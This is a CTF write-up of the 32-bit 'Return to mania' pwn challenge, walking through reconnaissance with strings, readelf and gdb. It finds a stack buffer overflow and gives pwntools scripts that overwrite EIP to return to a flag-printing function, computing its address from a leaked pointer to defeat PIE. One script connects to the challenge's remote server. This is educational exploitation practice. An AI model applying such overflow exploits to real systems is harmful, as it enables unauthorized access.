PWN CHALLENGE:

Return to mania

This was a 32 bit binary so IDA Free wasn't very helpful. I used gdb instead. Here are the specifications of Return to mania(as given by the admins of the CTF challenge).

```
return-to-mania: ELF 32-bit LSB pie executable Intel 80386
```

The first step I followed was to run the **strings** command on the binary to check for different strings that might give me a few insights on how to solve the problem.

```
Search your computer
adeelsayed@ubuntu:~/Desktop$ strings return-to-mania
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
fopen
perror
__isoc99_scanf
puts
printf
fgets
fclose
__cxa_finalize
__libc_start_main
GLIBC_2.7
GLIBC_2.1.3
GLIBC_2.1
GLIBC_2.0
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
UWVS
[^_]
WELCOME TO THE RING!
flag.txt
```

```
Welcome to WrestleMania! Type in key to get access.
addr of welcome(): %p
Sadly, as a result Captn Overflow won't be entering the ring yet...
;*2$"
GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7281
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
return-to-mania.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
printf@@GLIBC_2.0
```

```
__cxa_finalize@@GLIBC_2.1.3
perror@@GLIBC_2.0
__data_start
puts@@GLIBC_2.0
__gmon_start__
welcome
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
fopen@@GLIBC_2.1
_fp_hw
__bss_start
main
mania
__isoc99_scanf@@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
```

```
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
adeenayub@ubuntu:~/Desktop$
```

I found just two possible outputs for the program.

1- On giving the wrong input.

```
Sadly, as a result Captn Overflow won't be entering the ring yet...
;*2$"
```

2- On successfully being able to enter the ring.

```
WELCOME TO THE RING!
```

On running the program, I got the following output.

```
gdb-peda$ r
Starting program: /home/adeenayub/Desktop/return-to-mania
Welcome to WrestleMania! Type in key to get access.
addr of welcome(): 0x565556ed
```

This gave me a hint that I had to do something with the address given and that there was a function called ‘welcome’ at this address.

I then tried entering strings of different lengths into the program to check the buffer length at which the program crashes. It crashed at 14th byte.

```
gdb-peda$ r
Starting program: /home/adeenayub/Desktop/return-to-mania
Welcome to WrestleMania! Type in key to get access.
addr of welcome(): 0x565556ed
AAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x56555834 ("ome to WrestleMania! Type in key to get access.")
EBX: 0x56556b00 --> 0x6ffffff0
ECX: 0x1
EDX: 0xf7fb987c --> 0x0
ESI: 0xf7fb8000 --> 0x1b1db0
EDI: 0xf7fb8000 --> 0x1b1db0
EBP: 0xffffcf68 --> 0x0
ESP: 0xffffcf4c ("tWUV4XUV")
EIP: 0x0
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow
)
```

I then disassembled a few functions like ‘main’, ‘welcome’ to look for /bin/sh but didn’t find it. I even tried disassembling ‘give_shell’ but there was no function by this name. So I used the following command to get some more information such as the functions present in the binary file.

readelf -s return-to-mania

Running this command gave me the following output.

```
adeenayub@ubuntu:~/Desktop$ readelf -s return-to-mania

Symbol table '.dynsym' contains 14 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTab
     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.0 (2)
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND fgets@GLIBC_2.0 (2)
     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND fclose@GLIBC_2.1 (3)
     5: 00000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.1.3 (4
)
     6: 00000000     0 FUNC    GLOBAL DEFAULT  UND perror@GLIBC_2.0 (2)
     7: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)
     8: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     9: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (
2)
    10: 00000000     0 FUNC    GLOBAL DEFAULT  UND fopen@GLIBC_2.1 (3)
    11: 00000000     0 FUNC    GLOBAL DEFAULT  UND __isoc99_scanf@GLIBC_2.7 (5)
    12: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
    13: 0000080c     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used

Symbol table '.symtab' contains 75 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
```

```
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00000134     0 SECTION LOCAL  DEFAULT    1
     2: 00000148     0 SECTION LOCAL  DEFAULT    2
     3: 00000168     0 SECTION LOCAL  DEFAULT    3
     4: 0000018c     0 SECTION LOCAL  DEFAULT    4
     5: 000001ac     0 SECTION LOCAL  DEFAULT    5
     6: 0000028c     0 SECTION LOCAL  DEFAULT    6
     7: 0000036c     0 SECTION LOCAL  DEFAULT    7
     8: 00000388     0 SECTION LOCAL  DEFAULT    8
     9: 000003d8     0 SECTION LOCAL  DEFAULT    9
    10: 00000418     0 SECTION LOCAL  DEFAULT   10
    11: 00000458     0 SECTION LOCAL  DEFAULT   11
    12: 00000480     0 SECTION LOCAL  DEFAULT   12
    13: 00000510     0 SECTION LOCAL  DEFAULT   13
    14: 00000520     0 SECTION LOCAL  DEFAULT   14
    15: 000007f4     0 SECTION LOCAL  DEFAULT   15
    16: 00000808     0 SECTION LOCAL  DEFAULT   16
    17: 000008c4     0 SECTION LOCAL  DEFAULT   17
    18: 00000908     0 SECTION LOCAL  DEFAULT   18
    19: 00001a38     0 SECTION LOCAL  DEFAULT   19
    20: 00001a3c     0 SECTION LOCAL  DEFAULT   20
    21: 00001a40     0 SECTION LOCAL  DEFAULT   21
    22: 00001b38     0 SECTION LOCAL  DEFAULT   22
    23: 00001b4c     0 SECTION LOCAL  DEFAULT   23
```

```
    24: 00001b78     0 SECTION LOCAL  DEFAULT   24
    25: 00001b80     0 SECTION LOCAL  DEFAULT   25
    26: 00000000     0 SECTION LOCAL  DEFAULT   26
    27: 00000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
    28: 00000570     0 FUNC    LOCAL  DEFAULT   14 deregister_tm_clones
    29: 000005b0     0 FUNC    LOCAL  DEFAULT   14 register_tm_clones
    30: 00000600     0 FUNC    LOCAL  DEFAULT   14 __do_global_dtors_aux
    31: 00001b80     1 OBJECT  LOCAL  DEFAULT   25 completed.7281
    32: 00001a3c     0 OBJECT  LOCAL  DEFAULT   20 __do_global_dtors_aux_fin
    33: 00000650     0 FUNC    LOCAL  DEFAULT   14 frame_dummy
    34: 00001a38     0 OBJECT  LOCAL  DEFAULT   19 __frame_dummy_init_array_
    35: 00000000     0 FILE    LOCAL  DEFAULT  ABS return-to-mania.c
    36: 00000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
    37: 00000a34     0 OBJECT  LOCAL  DEFAULT   18 __FRAME_END__
    38: 00000000     0 FILE    LOCAL  DEFAULT  ABS
    39: 00001a3c     0 NOTYPE  LOCAL  DEFAULT   19 __init_array_end
    40: 00001a40     0 OBJECT  LOCAL  DEFAULT   21 _DYNAMIC
    41: 00001a38     0 NOTYPE  LOCAL  DEFAULT   19 __init_array_start
    42: 000008c4     0 NOTYPE  LOCAL  DEFAULT   17 __GNU_EH_FRAME_HDR
    43: 00001b4c     0 OBJECT  LOCAL  DEFAULT   23 _GLOBAL_OFFSET_TABLE_
    44: 000007f0     2 FUNC    GLOBAL DEFAULT   14 __libc_csu_fini
    45: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTab
    46: 00000560     4 FUNC    GLOBAL HIDDEN    14 __x86.get_pc_thunk.bx
```

```
    47: 00001b78     0 NOTYPE  WEAK   DEFAULT   24 data_start
    48: 00000000     0 FUNC    GLOBAL DEFAULT  UND printf@@GLIBC_2.0
    49: 00000000     0 FUNC    GLOBAL DEFAULT  UND fgets@@GLIBC_2.0
    50: 00001b80     0 NOTYPE  GLOBAL DEFAULT   24 _edata
    51: 00000000     0 FUNC    GLOBAL DEFAULT  UND fclose@@GLIBC_2.1
    52: 000007f4     0 FUNC    GLOBAL DEFAULT   15 _fini
    53: 00000659     0 FUNC    GLOBAL HIDDEN    14 __x86.get_pc_thunk.dx
    54: 00000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@@GLIBC_2.1
    55: 00000000     0 FUNC    GLOBAL DEFAULT  UND perror@@GLIBC_2.0
    56: 00001b78     0 NOTYPE  GLOBAL DEFAULT   24 __data_start
    57: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@@GLIBC_2.0
    58: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    59: 000006ed    89 FUNC    GLOBAL DEFAULT   14 welcome
    60: 00001b7c     0 OBJECT  GLOBAL HIDDEN    24 __dso_handle
    61: 0000080c     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
    62: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
    63: 00000790    93 FUNC    GLOBAL DEFAULT   14 __libc_csu_init
    64: 00000000     0 FUNC    GLOBAL DEFAULT  UND fopen@@GLIBC_2.1
    65: 00001b84     0 NOTYPE  GLOBAL DEFAULT   25 _end
    66: 00000520     0 FUNC    GLOBAL DEFAULT   14 _start
    67: 00000808     4 OBJECT  GLOBAL DEFAULT   16 _fp_hw
    68: 00001b80     0 NOTYPE  GLOBAL DEFAULT   25 __bss_start
    69: 00000746    64 FUNC    GLOBAL DEFAULT   14 main
    70: 0000065d   144 FUNC    GLOBAL DEFAULT   14 mania
```

```
    71: 00000000     0 FUNC    GLOBAL DEFAULT  UND __isoc99_scanf@@GLIBC_2.7
    72: 00001b80     0 OBJECT  GLOBAL HIDDEN    24 __TMC_END__
    73: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
    74: 00000458     0 FUNC    GLOBAL DEFAULT   11 _init
adeenayub@ubuntu:~/Desktop$
```

Using this information, I came to know of another function ‘mania’(highlighted above). So going back to what the challenge’s name was, I guessed I had to **‘return to mania’**.
I disassembled ‘mania’ and found it was all about file handling. It opened a file, read it and then closed it. Finally, it prints the contents of the file onto the screen.

```
gdb-peda$ disassemble mania
Dump of assembler code for function mania:
   0x5655565d <+0>:     push   ebp
   0x5655565e <+1>:     mov    ebp,esp
   0x56555660 <+3>:     push   ebx
   0x56555661 <+4>:     sub    esp,0x34
   0x56555664 <+7>:     call   0x56555560 <__x86.get_pc_thunk.bx>
   0x56555669 <+12>:    add    ebx,0x14e3
   0x5655566f <+18>:    sub    esp,0xc
   0x56555672 <+21>:    lea    eax,[ebx-0x133c]
   0x56555678 <+27>:    push   eax
   0x56555679 <+28>:    call   0x565554d0 <puts@plt>
   0x5655567e <+33>:    add    esp,0x10
   0x56555681 <+36>:    sub    esp,0x8
   0x56555684 <+39>:    lea    eax,[ebx-0x1327]
   0x5655568a <+45>:    push   eax
   0x5655568b <+46>:    lea    eax,[ebx-0x1325]
   0x56555691 <+52>:    push   eax
   0x56555692 <+53>:    call   0x565554f0 <fopen@plt>
   0x56555697 <+58>:    add    esp,0x10
   0x5655569a <+61>:    mov    DWORD PTR [ebp-0xc],eax
   0x5655569d <+64>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x565556a1 <+68>:    jne    0x565556b7 <mania+90>
```

```
   0x565556ac <+79>:    push   eax
   0x565556ad <+80>:    call   0x565554c0 <perror@plt>
   0x565556b2 <+85>:    add    esp,0x10
   0x565556b5 <+88>:    jmp    0x565556e8 <mania+139>
   0x565556b7 <+90>:    sub    esp,0x4
   0x565556ba <+93>:    push   DWORD PTR [ebp-0xc]
   0x565556bd <+96>:    push   0x28
   0x565556bf <+98>:    lea    eax,[ebp-0x34]
   0x565556c2 <+101>:   push   eax
   0x565556c3 <+102>:   call   0x565554a0 <fgets@plt>
   0x565556c8 <+107>:   add    esp,0x10
   0x565556cb <+110>:   sub    esp,0xc
   0x565556ce <+113>:   push   DWORD PTR [ebp-0xc]
   0x565556d1 <+116>:   call   0x565554b0 <fclose@plt>
   0x565556d6 <+121>:   add    esp,0x10
   0x565556d9 <+124>:   sub    esp,0xc
   0x565556dc <+127>:   lea    eax,[ebp-0x34]
   0x565556df <+130>:   push   eax
   0x565556e0 <+131>:   call   0x565554d0 <puts@plt>
   0x565556e5 <+136>:   add    esp,0x10
   0x565556e8 <+139>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x565556eb <+142>:   leave
   0x565556ec <+143>:   ret
End of assembler dump.
```

print on screen

So I almost got my hint. The challenge's name suggested me to 'return to mania' where the function would open the relevant file, read it, close it and then print its contents which was probably the flag. Also, i recalled that the strings command gave me a string, "flag,txt" which was right below the string 'WELCOME TO THE RING'' so I was pretty sure this was the file being talked about.

```
WELCOME TO THE RING!
flag.txt
```

The overflow occurs at 14th byte. For all inputs less than length 14, we get the following output.

```
gdb-peda$ r
Starting program: /home/adeenayub/Desktop/return-to-mania
Welcome to WrestleMania! Type in key to get access.
addr of welcome(): 0x565556ed
AAAAAAAAAAAAAA
Sadly, as a result Captn Overflow won't be entering the ring yet...
[Inferior 1 (process 7161) exited normally]
Warning: not running
gdb-peda$
```

So in order for Captain Overflow to ‘overflow’ the buffer, she has to enter more than 13 bytes and determine at which byte she can gain control of EIP. Captain Overflow determined that she can fill the register EBX on entering more than 14 bytes which means bytes 15 to 18 occupy the EBX register.

```
[ REGISTERS ]
EAX  0x41412e75 ('u.AA')
EBX  0x41414141 ('AAAA')
ECX  0x1
EDX  0xf7fb987c (_IO_stdfile_0_lock) ◂— 0x0
EDI  0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESI  0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
EBP  0xffffcf00 —▸ 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESP  0xffffcf4c —▸ 0x56555774 (main+46) ◂— add    esp, 0x10
EIP  0x565554d0 (puts@plt) ◂— jmp    dword ptr [ebx + 0x1c]
[ DISASM ]
► 0x565554d0 <puts@plt>         jmp    dword ptr [ebx + 0x1c]

  0x565554d6 <puts@plt+6>       push   0x20
  0x565554db <puts@plt+11>      jmp    0x56555480
   ↓
  0x56555480                    push   dword ptr [ebx + 4]
```

But Captain Overflow wanted to take control of EIP so she entered 4 more bytes than the previous step and determined that the next 4 were occupied by EBP register.

```
[ REGISTERS ]
EAX  0x1
EBX  0x41414141 ('AAAA')
ECX  0x1
EDX  0xf7fb987c (_IO_stdfile_0_lock) ◄— 0x0
EDI  0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◄— 0x1b1db0
ESI  0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ◄— 0x1b1db0
EBP  0x41414141 ('AAAA')
ESP  0xffffcf60 —▸ 0xffffcf80 ◄— 0x1
EIP  0x56555700 (welcome+19) ◄— in     al, dx
[ DISASM ]
► 0x56555700 <welcome+19>    in     al, dx
  0x56555701 <welcome+20>    or     al, 0x8d
  0x56555703 <welcome+22>    and    esp, 0xffffffec
```

Captain Overflow knew she was close so she entered 4 more bytes again(22+4=26) and finally got hold of the instruction pointer(i.e EIP).

```
Welcome to WrestleMania! Type in key to get access.
addr of welcome(): 0x565556ed
AAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x41414141 ('AAAA')
ECX: 0x1
EDX: 0xf7fb987c --> 0x0
ESI: 0xf7fb8000 --> 0x1b1db0
EDI: 0xf7fb8000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcf60 --> 0xffffcf00 --> 0xf7fb8000 --> 0x1b1db0
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow
)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
```

Hence, Captain Overflow realized that in order to return to ‘mania’, she simply had to input garbage for the first 22 bytes and the address of ‘mania’ for the next 4 bytes.
Captain Overflow tried everything locally first. She saved a file, ‘flag.txt” with a pseudo flag inside and ran the program. She also disabled ASLR for the time being. She ran the following script and got the flag saved on her local machine.

```
from pwn import*
#e = ELF('./return-to-mania')
p = process('./return-to-mania')
nop1 = asm(shellcraft.nop())
p.recv()
gdb.attach(p)
#p.sendline("A"*22)
p.sendline(nop1*22 + p32(0x5655565d))
p.interactive()
```

Running the above script worked since she had entered the address of the function ‘mania’.

```
adeenayub@ubuntu:~/Desktop$ python3 retm.py
[+] Starting program './return-to-mania': Done
[ERROR] Neither 'qemu-i386' nor 'qemu-i386-static' are available
[!] Disable ptrace_scope to attach to running processes.
    More info: https://askubuntu.com/q/41629
[*] Switching to interactive mode
WELCOME TO THE RING!
flag{Alhamdulillah, the sun shines}

[*] Got EOF while reading in interactive
$
```

But Captain Overflow’s method of hardcoding the address won’t work on the remote machine since the addresses are not known and are random everytime the executable runs.
So now she needed to come up with a method of returning to mania without hardcoding the address. She recalled that on running the program remotely, she gets to see the address of ‘welcome’ function so she could make use of that. She ran the following command again.
readelf -s return-to-mania
And determined that ‘mania’ is at the address 0x0000065d where as ‘welcome’ is at 0x000006ed.

```
    57: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@@GLIBC_2.0
    58: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    59: 000006ed    89 FUNC    GLOBAL DEFAULT   14 welcome
    60: 00001b7c     0 OBJECT  GLOBAL HIDDEN    24 __dso_handle
    61: 0000080c     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
    62: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
    63: 00000790    93 FUNC    GLOBAL DEFAULT   14 __libc_csu_init
    64: 00000000     0 FUNC    GLOBAL DEFAULT  UND fopen@@GLIBC_2.1
    65: 00001b84     0 NOTYPE  GLOBAL DEFAULT   25 _end
    66: 00000520     0 FUNC    GLOBAL DEFAULT   14 _start
    67: 00000808     4 OBJECT  GLOBAL DEFAULT   16 _fp_hw
    68: 00001b80     0 NOTYPE  GLOBAL DEFAULT   25 __bss_start
    69: 00000746    64 FUNC    GLOBAL DEFAULT   14 main
    70: 0000065d   144 FUNC    GLOBAL DEFAULT   14 mania
    71: 00000000     0 FUNC    GLOBAL DEFAULT  UND __isoc99_scanf@@GLIBC_2.7
    72: 00001b80     0 OBJECT  GLOBAL HIDDEN    24 __TMC_END__
    73: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
    74: 00000458     0 FUNC    GLOBAL DEFAULT   11 _init
adeenayub@ubuntu:~/Desktop$
```

Hence, ‘mania’ is 144 places below ‘welcome’. So Captain Overflow changed her script for remote shell and got the actual flag.

```
from pwn import*
e = ELF('./return-to-mania')
p = remote('archive.sunshinectf.org', 19001 )
nop1 = asm(shellcraft.nop())
p.recvuntil(': ')
#gdb.attach(p)
addr = p.recv()
addr = int(addr, 16)
p.sendline(nop1*0x16 + p32(addr-144))
p.interactive()
```

Flag is as follows. **sun{0V3rfl0w_rUn_w!Ld_br0th3r}**

```
adeenayub@ubuntu:~/Desktop$ python3 rtm.py
[*] '/home/adeenayub/Desktop/return-to-mania'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to archive.sunshinectf.org on port 19001: Done
[*] Switching to interactive mode
WELCOME TO THE RING!
sun{0V3rfl0w_rUn_w!Ld_br0th3r}

[*] Got EOF while reading in interactive
$
```